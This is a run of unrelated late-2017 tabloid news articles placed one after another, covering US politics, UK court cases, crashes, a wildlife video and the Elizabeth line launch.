But the next day, Johnson posted a Facebook message that asked people to care for his wife, Rebecca. He wrote that PTSD 'is a sickness that will take my life, I cannot handle it any longer. It has won this life, BUT HEAVEN IS MY HOME.'

The sexual assault accusations against Johnson came amid a sexual harassment scandal involving four other Republican lawmakers in Kentucky.

Former Republican House Speaker Jeff Hoover resigned his leadership position on November 5 after acknowledging he secretly settled a sexual harassment claim with a member of his staff.

Three other lawmakers were involved in the settlement, and all lost their committee chairmanships.
A British-Iranian journalist who has reported from some of the world's most dangerous countries, been shot at and tends to travel without security has admitted her mother is 'dying' for her to get an office job.

Ramita Navai, 44, the daughter of an officer in the pre-revolutionary Iranian navy, won the British Journalism Award for foreign reporting this month for her new film, Isis And The Battle For Iraq.

In the documentary, produced for Channel 4's Dispatches team, she went undercover in the province of Diyala and explored allegations of abuses on Sunni civilians by Shia militias fighting alongside the Iraqi army.

Amid constant gunfire and explosions, she interviewed soldiers, refugees and politicians.

Ramita Navai is an award winning journalist who has reported from more than thirty countries

The 44-year-old was presented with the 'foreign affairs journalism' award at the British Journalism Awards earlier this month

Navai admitted that her work in dangerous countries made her parents feel uneasy

But the documentary-maker admits her work in hostile territories made her parents feel nervous.

She told the Evening Standard: 'My mum is just dying for me to get an office job in East Sheen. My dad is now just resigned to the fact this is what I do. They worry a lot.'

She added: 'Normally I don't travel with security. I like to operate below the radar. That is why I am not gung-ho. The Iraq set-up took months.'

Navai, who has also investigated criminal gangs, human traffickers and ISIS in Syria, said she'd been shot at 'a number of times' and seen a suicide bomber blow himself up moments before carrying out an attack.

She described her most dangerous reporting experience as looking into the disappearance of hundreds of Honduran women in Central America in 2010 and 2012.

The documentary maker's latest investigation was called 'Isis And The Battle For Iraq'

Navai said she hoped her documentary would lead to change but admitted this 'rarely happens'.

When she was presented with her award this month the judges described the film as 'different and vital to understanding the future of Iraq'.

They said: 'The reports added something different and vital to understanding the future of Iraq: the role of the Shia militias and the fear they spread amongst Sunnis.

'Navai is brave but she opened up a new road of understanding: cool, direct, inclusive, with a real sense of time and place.'
Donald Trump came out swinging on Tuesday following a report that he nearly canceled Supreme Court Justice Neil Gorsuch's nomination.

'A story in the @washingtonpost that I was close to "rescinding" the nomination of Justice Gorsuch prior to confirmation is FAKE NEWS,' the president tweeted.

'I never even wavered and am very proud of him and the job he is doing as a Justice of the U.S. Supreme Court. The unnamed sources don't exist!'

The Washington Post cited 11 sources who it says were 'familiar with' an episode that had Trump venting to aides after Gorsuch reportedly criticized the president to senators overseeing his confirmation.

Supreme Court Justice Neil Gorsuch (pictured during his confirmation hearing) was almost yanked out of contention by the White House, according to a Washington Post report

Trump was reportedly angry with Gorsuch after he criticized the president's attacks on federal judges

The president flatly denied the Post report on Tuesday

Trump has been openly hostile to judges who buck his agenda and imperil his business empire. It was those sentiments that had irked Gorsuch, one Democratic senator claimed earlier in the year.

Sen. Richard Blumenthal of Connecticut told reporters in February that the president's escalating attacks on the federal judiciary were 'disheartening' and 'demoralizing' to independent federal courts.

Trump immediately took issue with that claim, also published by the Post, citing a longstanding scandal involving Blumenthal's false claims that he served in uniform in Vietnam.

'Sen.Richard Blumenthal, who never fought in Vietnam when he said for years he had (major lie),now misrepresents what Judge Gorsuch told him?' Trump tweeted hours later.

But during his confirmation hearing, Blumenthal asked him about it point-blank.

'When anyone criticizes the honesty or integrity, the motives of a federal judge, I find that disheartening. I find that demoralizing. Because I know the truth,' the then-nominee said.

'Anyone including the President of the United States?' Blumenthal asked him.

'Anyone is anyone,' Gorsuch replied.

The president bashed the Post on Twitter, saying Tuesday that its 'unnamed sources don't exist'

Democratic Sen. Richard Blumenthal (left) grilled Supreme Court nominee Neil Gorsuch (right) during his confirmation hearing about President Donald Trump's attacks on federal judges, prompting Gorsuch to criticize  without naming Trump  'anyone' who questions a jurist's integrity or motives

Gorsuch (left) is seen with his wife Louise Gorsuch at his April 10 swearing in, as President Trump watches Associate Justice Anthony Kennedy administer the oath

Gorsuch was back in Trump's good graces by early March, according to the Post, sending him a congratulatory note after his first address to a Joint Session of Congress.

'Your address to Congress was magnificent,' Gorsuch wrote. 'And you were so kind to recognize Mrs. Scalia, remember the justice, and mention me. My teenage daughters were cheering the TV!'

'The team you have assembled to assist me in the Senate is remarkable and inspiring, he added. 'I see daily their love of country and our Constitution, and know it is a tribute to you and your leadership for policy is always about personnel.'

But the Post reported that in a meeting with House Speaker Paul Ryan and Senate Majority Leader Mitch McConnell, Trump directly attacked Gorsuch.

'He's probably going to end up being a liberal like the rest of them,' Trump said, according to a Post source. 'You never know with these guys.'

The newspaper didn't explain how someone 'familiar' with the incident  but presumably not in the room  was able to precisely quote the president at least eight months later.

That source is likely a Capitol Hill staffer: The Post said he or she faulted the White House for failing to warn Trump that Gorsuch might go out of his way to assert his independence from him.

Trump has been openly hostile to 'so-called' judges who cross him, including one in Seattle who blocked his travel ban

While he was still a candidate, Trump blasted a Mexican-american judge whom he said was biased against him in a business-related lawsuit

Judge Gonzalo Curiel (left) ruled against Trump in his 'Trump University' case in San Diego; Seattle Judge James Robart (right) temporarily sidelined his travel ban order in February

Instead of being reassured, Trump let out an 'explosion' and questioned whether Gorsuch would be 'loyal,' according to the Post.

If true, that would stand in sharp contrast with the president's kinder tweeted words after his public nomination announcement: 'He is a good and brilliant man, respected by all.'

The president's tangled relationship with federal courts is well-documented.

Following a Bush-appointed judge's decision to block his multi-nation travel ban in early February, he erupted on Twitter that '[t]he opinion of this so-called judge, which essentially takes law-enforcement away from our country, is ridiculous and will be overturned!'

In a separate campaign-year squabble, Trump claimed a San Diego judge was biased against him because of his Mexican heritage.

'I should have easily won the Trump University case on summary judgement but have a judge, Gonzalo Curiel, who is totally biased against me,' he tweeted in May 2016.

The White House publicly denied that Gorsuch's nomination was ever in jeopardy.

White House Chief of Staff John Kelly has blasted reporters publicly for citing unnamed aides in their stories critical of the president, saying they should 'develop better sources'

'The president's nomination of Neil M. Gorsuch was among his first and most important accomplishments during his first year in office, and delivered on a major campaign promise,' Trump spokesman Raj Shah said in a statement.

'At no point did the president consider withdrawing Justice Gorsuch's nomination. He is very proud of the accomplishment.'

Trump and senior White House aides have been openly critical of reporters using unnamed sources to justify running stories openly critical of the president.

In an October 12 press briefing, White House Chief of Staff John Kelly upbraided journalists for publishing flawed information and said that they should 'develop better sources.'
A man was shot dead outside a popular Times Square bar early Tuesday morning.

Persues Salichs, 32, was shot in the head during what witnesses described as a fight between two men.

Police said the gunman shot Salichs near the Tonic Bar at Seventh Avenue around 4am as the bar was closing. It's believed the victim was partying at the bar before the shooting.

Persues Salichs, 32, was shot dead outside the popular Tonic Bar (pictured) in Times Square early Tuesday morning. Salichs was shot in the head during what witnesses described as a fight between two men

Police said the gunman shot the victim near the bar located at Seventh Avenue around 4am as the bar was closing. It's believed the victim was partying at the bar before the shooting. Police said the suspect, who was wearing a black skull cap and black jacket, fled the scene on foot

Salichs was rushed to Bellevue Hospital, where he later died.

Police said the suspect, who was wearing a black skull cap and black jacket, fled the scene on foot, according to the New York Daily News.

Witnesses said a fight between the two men led to the deadly shooting, but it's still unclear what the fight was about.

One witness who works across the street from the bar told NBC 4 that he didn't see an altercation, but that the suspect just shot the victim as the victim walked out of the bar.

'There was no fight or anything like that,' the witness said. 'It was so quiet. They just came out of the club and we heard the shot.'

Another witness told the station that people were pouring out onto the sidewalk when the man was shot as the bar was closing for the night. No arrests have been made.

One witness who works across the street from the bar said that he didn't see an altercation, but that the suspect just shot the victim as the victim walked out of the bar
It's normally the lion that is at the top of the food chain.

But for one tragic lioness her last chance at survival slipped through her claws and almost ended up killing her in the process.

Her final few days were captured on film at Kruger National Park in South Africa, showing her clearly emaciated and lying exhausted on the floor before a buffalo flips and launches her into the air.

Lions are the only type of wild big cats to live in prides. Other big cats live solitary lives except when they are breeding or raising their young.

For this lonesome female, her solace could be explained by another male lion taking over her pride and forcing her out.

It is uncommon to see a lone female as they usually stay in their pride for their entire lives raising their young within the group.

Field guide Bathabile Shakwane, 22, noticed this buffalo separated from the herd and staring at something in the undergrowth. The Lioness can just been seen sleeping on the ground

Without warning, the buffalo charges at the injured big cat, crushing her into the ground in an attempt to protect his herd from the predator

Without the safety and security of her pride, she has been unable to hunt and feed herself and is starving and injured.

Bathabile Shakwane, a 22-year-old field guide, explained to Latestsightings.com: We were just leisurely driving down from Satara towards Skukuza on a relatively hot day. We were rewarded with lots of buffalo sightings.

'We stopped in at Kumana dam and happened to notice a lone lioness lying in the bushes nearby a herd of buffalo.

The vulnerable cat is thrown into the air by the bovine as she is violently awoken

Unable to fight back, the poor lion is pitifully tossed in the air where she dangles helplessly before crashing to the ground

Happy with its days work of defending its herd, the buffalo runs away from the weakened big cat who does not have the strength to fight back

'A single buffalo bull seemed to notice the lioness lying in the bushes and decided to tread carefully towards the lioness to see what she was up to.

'At that point, the buffalo got a bit too close for comfort and the lioness got a fright and tried to flee the situation.

'Once she got up, we noticed how terribly thin and weak she was looking and then I realised that this meal was a matter of life and death for her.

The visibly shaken cat turns and makes a break for it, but the field expert estimates that she would perished later that day from starvation and exhaustion

'Unfortunately, in the condition she was in there was no chance she would be able to take down a healthy buffalo of that size on her own.

'The buffalo realised her vulnerable state and flung her up into the air like a ragdoll.

'She managed to get away from the buffalo unscathed. It was clear, though, that lioness was not going to live much longer on her own and I can only imagine she would have died of hunger at the end of the day.

'The video is kind of tragic but just that scene was beyond amazing for me because you dont get to see this every day.

The field guide suggests that in the condition the feline was in there was no chance she would of been able to take down a healthy buffalo
The White House convened a group of black Republicans on Monday and asked them to spread the word that the Trump administration is hiring.

A source inside the meeting told DailyMail.com that White House Chief of Staff John Kelly asked for resumes at the gathering that was billed as a briefing on tax reform. Another person present said that he admitted to 'a lack of diversity' in senior staff as he did it.

Kelly said Tuesday that he didn't 'say 'African Americans' when he asked for the resumes - although he did make the ask during a convening of all-black Republicans.

'I said talented young men and women of any age that would be willing to come and serve the country for some period of time,' he stated.

The White House convened a group of black Republicans on Monday and asked them to spread the word that the Trump administration is hiring

Sen. Tim Scott and Herman Cain, a former Republican presidential candidate and businessman were also at the meeting of about 30 African-American policy makers, activists and business people.

Gary Cohn, the president's chief economic adviser, also addressed the room.

The point of the meeting was to update attendees on tax reform. But Kelly also acknowledged the administration's diversity problem in his comments.

'I went over and met with them, just for a few minutes, and I said we are looking for talented young men and women. I didn't say African Americans, I didn't say Hispanics,' he said Tuesday.

Kelly said he told the group 'how rewarding it is' to serve the country.

'I've done this my whole life nothing else,' he said. 'How rewarding it is, whether you're in the military working at the White House or at the Department of Labor and said if you know people, who are looking towards something that is very fulfilling we're looking for really good people.'

One source said that Kelly asked attendees for their help in recruiting minorities to work in the highest level of the administration.

A second person in the meeting said that Kelly admitted that the Trump administration 'could do better' at hiring a diverse set of workers to fill senior positions.

He did not say, we want more African-American's resumes, the person said.

'He did acknowledge the lack of diversity in terms of the lack of diversity at the White House,' the source told DailyMail.com. 'He said that they could do better in terms of their positions at the White House he said that they want to do better and they want to get more people to serve in the White House house who are willing to serve.'

Missing from the meeting was Omarosa Manigault, the director of communications for the Office of Public Liaison, whose last day was supposed to be Jan. 20. She had been pictured shopping in California over the weekend

Missing from the meeting was Omarosa Manigault, the director of communications for the Office of Public Liaison, whose last day was supposed to be Jan. 20.

'Nobody from the White House, from the Office of Public of Liaison, acknowledged her, her absence or her former position,' the source said, which was telling.

Manigault said in a TV appearance last week that it was 'lonely' working in Trump's White House, where she was the only senior African-American.

Press Secretary Sarah Huckabee Sanders subsequently claimed that Trump has a 'really diverse team across the board at the White House' and senior staff 'always want to continue to grow the diversity here.'

Kelly said Tuesday, according to one of DailyMail.com's sources, that OPL 'has been restructuring' for awhile now and noted that there was not a person dedicated to black outreach currently.

The subtle message was 'clearly Omarosa has been blocking this, clearly Omarosa didn't have any juice, and we want to make sure that the community of black Republicans from access the country knew that there was an open door to them.'

This was the first convening of black Republicans the White House has had, the person, who is familiar with the Trump administration's outreach, said.

'What it showed everyone was the White House does care and does want to have these people at the table and that was a good thing.'

Black Republicans had complained that Manigault froze them out. Several celebrated when she was pushed out of the administration and shared their desire for a better relationship with Kelly and the White House in her absence.

Manigault agreed to leave her White House position on the anniversary of President Trump's inauguration on Jan. 20 after a conversation with Kelly on the evening of Dec. 12.

She says that she resigned, and the White House has backed her up on that, even though other sources inside and outside of the building say that she was fired and caused a commotion on her way out. She ultimately had to be escorted off the property, some have said, although the Secret Service denies it removed her from the premise.

'I think kind of publicly everybody knows that she's resigned,' said Dean Nelson, chairman of the Frederick Douglass Foundation, an attendee of Monday's White House meeting. 'I think everybody wants to move on.'

Manigault was observed shopping over the weekend at Topanga Mall in Canoga Park, California, not too far from Los Angeles. She was in New York doing a round of interviews before that.

Sanders insisted Thursday that Manigault would be on the property later that day, but she has not been spotted on the premises since the conversation with Kelly on Tuesday evening.

An email invitation to the meeting with Kelly from her office at the White House arrived to one of DailyMail.com's sources on Dec. 14 - two days after the alleged confrontation with the senior official.

The email said 'please join us for a tax briefing' and did explicitly spell out that the meeting was for African-Americans, although it was comprised entirely of black Republicans outside of senior White House staff.
Clifford Haines, 72, filed a suit Monday after his attorney posted video of him being swarmed by five deputies and slamming him to the ground

A Philadelphia lawyer is suing a group of court officers for allegedly fracturing his shoulder and slamming him on the floor during what he says was a wrongful arrest.

Clifford Haines filed suit Monday and his attorneys posted a video of the August 22 arrest that shows five sheriff's deputies swarm the 72-year-old after what appears to be an argument near the Philadelphia courthouse's metal detectors.

According to Haines, the video contradicts statements made by a spokeswoman that he hit the deputy and resisted arrest, even though he was never criminally charged.

His lawyers say the arrest was unprovoked and excessive.

'There is no reason to treat people like that, as if they're the enemy,' said Haines' attorney Patricia V. Pierce.

She added that she believes this 'really shows why members of the public  lack trust in law enforcement.'

According to Haines, the video contradicts statements made by a spokeswoman that he hit the deputy and resisted arrest

'You have to ask yourself: If this can happen to this man in front of cameras, how is anybody else supposed to feel safe?' she said, according to the Inquirer.

The sheriff's office did not immediately return a voicemail seeking comment.

Haines approached the deputy because the officer was previously 'rude' to him, according to the lawsuit. The confrontation quickly escalated.

The deputy who Haines had issue with can be seen putting his hands on the lawyer's chest but Haines quickly swipes it away.

'There is no reason to treat people like that, as if they're the enemy,' said Haines' attorney Patricia V. Pierce

The video shows officers rush Haines from all sides, with one deputy putting him in a headlock from behind and others pushing him onto the metal detector's belt before Haines is thrown to the floor.

Haines also sued a sergeant who he said refused to switch his handcuffs from his back to the front of his body to ease the pain of his dislocated and fractured shoulder, according to the lawsuit.

'It's just completely unnecessary,' Pierce said.

None of the officers were identified in the lawsuit but Pierce plans to learn their names during the course of the suit so that they can be added to it.

Haines is a former Philadelphia prosecutor and has served as president of the state's bar association. He was not criminally charged in the incident.

The attorney was treated at Hahnemann University Hospital, according to his complaint, and he claims to have needed physical therapy.

Filed with the Philadelphia Common Pleas Court, the suit ask for an unspecified amount of damages and claims assault and battery, false arrest and intentional infliction of emotional distress.
The driver in last year's Tennessee school bus crash that killed six elementary school students took a cell phone call at the time of the collision, according to prosecutors.

Hamilton County District Attorney General Neal Pinkston said in court Tuesday that Johnthony Walker received a call at 3.17pm that lasted nearly four minutes. Pinkston said the first 911 call about the crash came in at 3.20pm.

Authorities say Walker was speeding in November 2016 when he wrecked the bus on a curvy Chattanooga road while carrying 37 children.

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Tennessee bus driver Johnthony Walker, 25, walks into criminal court on Tuesday for a pre-trial hearing concerning the November 21, 2016, crash that killed six school children

Prosecutors now say Walker (pictured in court) took a cell phone call four minutes before the first 911 call about the crash came in

In this November 22, 2016, file photo, a school bus is carried away on a trailer after a deadly crash in Chattanooga

Crushed: the bus veered off a narrow, winding road in Chattanooga, hit a utility pole, overturned and slammed into a walnut, collapsing the roof

The 25-year-old faces 34 charges, including six counts of vehicular homicide, 18 counts of reckless aggravated assault, and one count of use of portable electronic device by a school bus driver.

Walker made bond and is out of jail, awaiting a February 27 trial date. His bond amount was lowered in October from $100,000 to $50,000. Walker must use GPS monitoring and can't drive motor vehicles.

On November 21, 2016, the driver veered off a narrow, winding road in Chattanooga, hit a utility pole, overturned and slammed into a walnut, collapsing the roof

Doctors said that the injured children were so young that many couldn't spell their names.

D'Myunn Brown, six (left) and Cor'Dayja Jones, nine (right) were among the deceased kids

Also among the dead were Keonte Wilson, eight (left) and Zyanna Harris, ten (right)

Zoie Nash, nine (left) and Zyaira Mateen, six (right) lost their lives in the wreck

The wreck claimed the lives of D'Myunn Brown, six; Zyaira Mateen, six; Zyanna Harris, ten; Keonte Wilson, eight; Cor'Dayja Jones, nine, and Zoie Nash, nine.

Prosecutors announced in court on Tuesday that they have received a draft of the final National Transportation Safety Board report concerning the November 2016 accident, but a vote on whether to make the report public won't be held until at least April 2018, reported the Chattanooga times Free Press.

Last week, Walker's defense attorney filed several motions to suppress potential pieces of evidence, including autopsy photos of the victims, information about Walker's driving history and nearly 1,400 pages of cellular data from his phone.

Hamilton County District Attorney General Neal Pinkston wants to show the jurors the call log from the week leading up to the crash to see if Walker had been communicating with the same person with whom he was on the phone at the time of the crash.

The 25-year-old faces 34 charges, including six counts of vehicular homicide and 18 counts of reckless aggravated assault

Judge Don Poole is expected to rule on the defense's motions on February 5.

A few minutes after Tuesday's hearing concluded, a mother of one of the young victims stormed out of the courtroom sobbing and screaming, 'They don't give a f*** about our children!' WTVC reported.

November 21, 2017, marked a one-year anniversary of the deadly crash. That day, a memorial service was held for the six deceased grade-schoolers.

Some of the bereaved mothers later spoke to the station WKRN and were divided on Johnthony Walker.

Misti Nash, Zoie's mother, said she has 'made peace and forgiven him' so that she could move on with her life.

CorDayja Jones's mother, LaTesha, told the station that so far, she has been unable to forgive the driver, whom she holds responsible for her daughter's death.

'My baby is supposed to be here in the fifth grade, supposed to graduate in May and what he did was very, very wrong and I blame him for everything,' she said.
Five members of a family have died when their SUV went off a South Texas overpass and plunged to the roadway below, authorities say.

The driver of a Chevy Suburban may have fallen asleep early Tuesday while traveling from Georgia to the Rio Grande Valley' Mexican side, Texas Department of Public Safety Sgt. Nathan Brandley says. The crash occurred on U.S. Highway 77.

He says nine people were in the SUV and DPS was notified of the wreck at about 3.30am.

Five members of a family died after their Chevrolet Suburban flew off an overpass and landed on the roadway below on U.S. Highway 77 in South Texas

Nine people total were in the SUV, which burst into flames. Four people were taken to a hospital for non-life-threatening injuries

The Suburban, which was towing a 6-foot trailer, caught fire when it fell from the overpass north of Sinton and fell to the road below, KSAT reports.

Five of the occupants died at the scene.

The four others were taken to a hospital in Portland, just northeast of Corpus Christi, with what Brandley described as non life-threatening injuries.

Other family members were apparently traveling in another car in front of the Suburban and turned back around when they realized it was no longer there.

No other details were immediately available as the investigation continues.
Edward Vines (pictured) has been stalking BBC presenter Emily Maitlis for 27 years

A former university friend of Newsnight presenter Emily Maitlis who stalked her for years will now be sentenced next month after he sacked his defence lawyer in court.

Edward Vines, 47, re-started his 27-year campaign of harassment despite a restraining order banning him from contacting the journalist or her relatives.

He had previously sent mother-of-two Ms Maitlis letters from his prison cell after he was jailed for three years last year over the stalking.

Ms Mailtis, 47, did not receive the letters, which were sent to the BBC and intercepted by security guards.

When he was released, he ramped up his campaign and bombarded her with more creepy messages, Oxford Crown Court heard.

Vines, of Oxford, tried to change his plea at his sentencing hearing, which was rejected by a judge.

He then dismissed his defence counsel so his sentencing was adjourned until January 16 at the same court, where he will represent himself.

Recorder David Mayall said: 'I asked Mr Vines why he wanted to change his plea  in summary, he told me that he had changes his mind over the period between pleading guilty and now.

'When I asked him what the basis for change of plea was he said that it was although he accepted he acted in breach of restraining order that was in place, he had a reasonable excuse for doing so.

'That reasonable excuse is as follows  he was wrongly convicted in 2009 when the restraining order was made  he is no longer able to change that.

Vines had previously sent mother-of-two Ms Maitlis (pictured) letters from his prison cell after he was jailed for three years last year over the stalking

'He has been advised there is no avenue of appeal now open to him.

'The proposition that one can change one's mind and put forward a change of plea on the basis it is reasonable for you to ignore the court order, because the court order should never have been made in the first place, is one which would have no possible prospect of success.

'I exercise my discretion to refuse the defendant's application made today to change his plea.'

Vines told the court he decided he wanted to change his plea because he had been in 'two minds' about the case.

He said: 'Guilty pleas were entered in the past against my advice or wishes. It has been a very difficult decision to make.

'Months ago, I reached the decision I would give up and throw in the towel  the odds are stacked against me.

'Obviously, to be found not guilty in this case would be quite a tall order.

'I am not guilty from the very beginning  when I entered a plea of guilty, it was not like I put my hands up and confessed, it's not that type of plea.

Vines dismissed his defence counsel so his sentencing was adjourned until January 16 at Oxford Crown Court (pictured), where he will represent himself

'I just changed my mind as a result of considering, over the days in between now and a month ago.

'My case has never properly been argued. Last year my barrister didn't make a very good defence of me.'

When asked by the judge whether he accepts he made contact with Ms Maitlis in breach of the restraining order, but thought he had a reasonable excuse, he nodded.

He added: 'Some parts (of my defence) may be dismissed by yourself  the first is (in 2002) I believe I was forced to enter please of guilty, that's how the original conviction came about.

'I cannot apply against conviction, what would a reasonable person do in that set of circumstances when he was still very keen to speak to the lady in question?

'It is reasonable I should be allowed to contact her.

'The restraining order is actually based on a fictional account put forward by her in 2002.

'I will no longer make use of solicitors, from now on it's me.'

Vines first met Ms Maitlis, 47, in their first year at Queen's College, Cambridge, in 1989.

In a previous court hearing, Edwards told how their friendship cooled in 1990 after Ms Maitlis 'scorned' him.

Vines, who also tried to contact the presenter's mother, received his first restraining order in 2002.

Last year a judge said he had a 'completely unshakable' obsession with the presenter.

The stalking got so bad Ms Maitlis revealed her two children had security to get on a bus to school and she required an escort to go shopping at a supermarket.

Prosecutor Julian Lynch said: 'I have some experience with Mr Vines, I prosecuted his last conviction for similar matters last year.

'Mr Vines was represented throughout this trial in 2016 save for his sentencing  he sacked his counsel at the conclusion of the trial and he was convicted.

'A custodial sentence is probably close to inevitable  he has served a custodial sentence before.'

Michael Goold, defending, said: 'He indicated he intended to appeal to vacate his guilty pleas, to change his pleas to not guilty.

'That is one intention he had indicated earlier and has continued with that desire today.

'That puts me and those instructing me in a position where we are unable to continue to represent Mr Vines.

'I and those instructing me are embarrassed and it is a wish I do not say anything further on his behalf.'
A new Tube map has been revealed to mark one year until the Elizabeth line is opened.

The addition of the purple line is the newest and perhaps most radical change London Underground has seen in years.

Next December, the line of more than 60 miles will operate in three sections as part of a test run, from Heathrow Airport in the west to Abbey Wood and Shenfield in the east.

Fifteen trains each hour will run through the newly built tunnels under London in the 14.8 billion Crossrail project, which has been funded by the Department for Transport and Transport for London (TfL).

When the line fully opens in December 2019, direct services will run from Reading to Heathrow Airport to Abbey Wood and Shenfield.
Mijanur Rehnan, 19, (pictured) 'convinced pensioner William Dickson, 73, to hand over almost 8,000 of his life savings'

Cold call scammers persuaded a pensioner to hand over almost 8,000 of his life savings as they posed as senior detectives investigating an HSBC fraud, a court heard.

Retired journalist William Dickson, 73, was convinced criminal funds had been siphoned through his account when fraudsters, allegedly pretending to be bank staff and police officers, targeted him between 7 and 10 July.

Prosecutor Simon Ward told the court that they told Mr Dickson he could face money laundering charges if he did not hand over thousands of pounds to a courier who was sent to his flat in Notting Hill, westLondon.

Mijanur Rehnan, 19, went to collect the money from Mr Dickson and met with him three times.

The retiree withdrew 5,000 in cash from an HSBC branch in Notting Hill on 7 July and handed it over to Rehnan outside his flat later that day, jurors heard.

The victim says he met Rehnan, who used the nickname Ryo, twice the following day and provided him with 2,000 and 870 worth of Euros.

Mr Dickson allegedly gave 7,870 before he spoke to genuine HSBC staff on 9 July and realised he had been the victim of a fraud.

Rehnan was arrested by a plain clothes police officer at the victims flat when he went to collect another 4,880 on 10 July, the Old Bailey heard.

Prosecutor Simon Ward said: They pretended to be police officers working for the fraud department of HSBC bank and they pretended people from HSBC were using William Dicksons bank account as a means of laundering cash.

The retiree withdrew 5,000 in cash from an HSBC branch in Notting Hill and gave 7,870 before he spoke genuine HSBC staff and realised he was being conned

They got him to take quite large sums of money out of his bank account and hand it over to this defendant who was acting as the courier.

A man claiming to be DCI Robinson rang Mr Dickson on 7 July and told him he was about to arrest HSBC staff suspected of money laundering.

When the pensioner asked for the inspectors warrant number he was told to dial 161 and was put through to a fraudster posing as DC Wallace who claimed they were both from the Metropolitan Police told the court.

Rehnan was arrested by a plain clothes police officer at the victims flat when he went to collect another 4,880 on 10 July, the Old Bailey (pictured above) heard. He denies four counts of fraud and claims he is the victim of mistaken identity

The retiree was then passed on to crooks posing as members of HSBCs fraud department.

He was left with the impression that he was speaking to the fraud team and they confirmed that there was an ongoing investigation, said Mr Ward.

From all of that he was given the impression he was dealing with bona fide people.

Rehnan, of Margery Road, Dagenham, east London, denies four counts of fraud and claims he is the victim of mistaken identity.

The trial continues.
A police officer who was obsessed with Breaking Bad has been jailed for more than six years for masterminding a drug supply business.

PC Daniel Aimson, 36, was accused of copying storylines from the hit show to cultivate two cannabis farms he  even regularly wore a 'Heisenberg' T-shirt.

Heisenberg is the pseudoname of Breaking Bad's protagonist Walter White, a timid chemistry teacher who develops lung cancer and uses his expertise to create high-quality crystal meth and raise money for his family.

In the American TV drama, chemistry teacher Walter White - played by actor Bryan Cranston - sets up a major crystal meth trafficking operation in Albuquerque, New Mexico to fund his cancer treatment.

A court heard Aimson began growing cannabis after he was injured in three road accidents whilst serving with Greater Manchester Police.

Police patrolman Daniel Aimson (pictured with his wife Rachel) masterminded a wholesale drug trafficking racket after he became hooked on the TV crime drama Breaking Bad

He was in a wheelchair for three months after one of the crashes, claimed he was left with post traumatic stress disorder and became resentful of the way senior colleagues treated him.

Later, he used a driving licence he had confiscated from a motorist during a routine traffic stop to rent out two anonymous residential properties  just five doors away from each other.

Inside, he installed specialist hydroponic equipment to transform the houses into cannabis factories.

But police were tipped off about his criminal operation and found 96 cannabis plants in one property and 70 plants in the other.

Officers also raided Aimson's fortified home in Astley, near Wigan, which he shared with his glamorous wife Rachel, and found 22,545 in dirty money.

Aimson was investigated by police between 2015 and 2016 after learning about letting agents renting properties so that cannabis could be grown at them, where they were then sold to a contact in Rhyl, North Wales

The house was found to have a sophisticated CCTV system and officers found film footage of Aimson wearing the Heisenberg T-shirt.

Three other driving licences seized from motorists were also found at the house. The projected yield of the drugs was estimated at 84,500.

At Manchester Crown Court, Aimson was locked up for six years and four months after he admitted conspiracy to produce cannabis and misconduct in a public office.

He was sacked from the force last February.

Passing sentence Judge Suzanne Goddard QC told him: 'You were in severe road traffic accidents and you became depressed because of your predicament.

'But it is difficult to see the link between these mental health issues and your decision to organise the conspiracy in the way that you did.

Aimson used a driving licence which he had confiscated during a routine stop to rent out two anonymous residential properties and installed special hydroponic equipment

'It is said you are remorseful but it is clear you expected to make a great deal of money and greatly improve the yield and expand into a further property.

'You were a serving police officer at the time. You have let the determined, hard-working officers of Greater Manchester Police down very badly by undertaking this serious criminal enterprise.'

The court heard the university graduate joined GMP in 2002 but was injured in road accidents in 2007, 2011 and 2015 all whilst he was on duty. He took prolonged periods of sick leave and was diagnosed with depression and anxiety.

Police began investigating Aimson between 2015 and 2016 after learning of a crime gang using a crooked lettings agent to rent out properties so cannabis could be grown and then sold to a contact in Rhyl, North Wales.

Owen Edwards prosecuting said: 'He was considered to be in a leading role within the conspiracy. Evidence shows he both

Aimson (pictured on his wedding day) initially denied knowing about the drug business but later confessed

Further texts revealed that Aimson and his gang talked up a 'sales drive to obtain Christmas money'

organised and financed the grows as well as him personally tending to day-to-day operations.

'He was seen at various stages on his own CCTV hard drive to wear a T shirt depicting the lead character 'Walt' in the hit TV series 'Breaking Bad'.

'The character plays a respectable Chemistry teacher who adopts a professional approach to the production and distribution of the drug

crystal meth and becomes in the process a highly successful drug dealer.

'In his various text messages it is clear that Aimson revelled in his double life as officer and criminal. He had clearly developed plans for expanding his business. '

Aimson obtained the driving licence after pulling over a driver whose licence had expired.

He then used the document to rent houses in a false name on Railway Road in Leigh using his brother-in-law who worked at a letting company as a go between with the landlord.

Later Aimson would be seen cruising the locality in his Mercedes car going to and front the properties carrying boxes containing the hydroponic equipment and making cash deals in a layby.

Christopher King (left) outside Manchester Crown Court, where he pleaded guilty to conspiring to produce cannabis by providing infant plants. Richard Grady (right) is to be sentenced for conspiring to produce cannabis

He was also seen placing bin bags filled with cannabis harvests into the boot of his car.

One message Aimson sent to an accomplice via WhatsApp read: 'I'm looking at ditching work as soon as a I can.

'I'll have three on almost 50/50 splits if we get another - we won't need to p**s about with anything else.'

During the operation of the cannabis farms the lettings agent dealt with an unsuspecting insurance assessor about a leak at a neighbouring property  when it had in fact been caused by the cannabis factory itself.

Aimson also described 2015 as 'the year of investing' and 2016 as the 'year of making money' and talked of acquiring a harvesting machine to help maximise their yield.

Further texts between Aimson and his gang talked of a 'sales drive to obtain Christmas money.'

Aimson initially denied knowing of the drug operation when he was arrested.

His lawyer Martin Callery said in mitigation: 'Mr Aimson does not accept the implication that he revelled in the role he had undertaken, and does not accept that he had based this fictional double life on a TV character.

'He does accept he was involved in an operation concerning the production of drugs and he is deeply ashamed.

Jonathon Vaiders (left) outside Manchester Crown Court, where he pleaded guilty to conspiracy to produce cannabis, and possession of cocaine with intent to supply. George Parkinson (right) outside Manchester Crown Court, where he pleaded guilty to conspiracy to produce cannabis

'The fact he was a serving police officer and the shame and embarrassment he had clearly had to endure makes his guilty plea all the more mitigating to the situation.'

He added: 'Daniel Aimson left school to go to university and gained a degree and in December 2002 aged 21 he began working at GMP.

'He has never known any job other than of being a police officer but his career as a police officer was blighted by three very serious road traffic accidents that took place all while he was on duty.

'In 2007 a crash caused him an injury that necessitated him to remain in hospital for three months and he was in a wheelchair for a further three months and then spent a further 12 months recuperating.

'He returned to work but four years after the first accident he was again involved in a traffic collision while on duty.

'In 2015 he was involved in another accident again while he was on duty. That accident resulted in the car being on its top and he had to be cut out of it and his mental health suffered.

'He suffered from depression and anxiety and received occupational therapy and when he eventually returned to work after the accident it was only to perform what is described as 'light duties'.

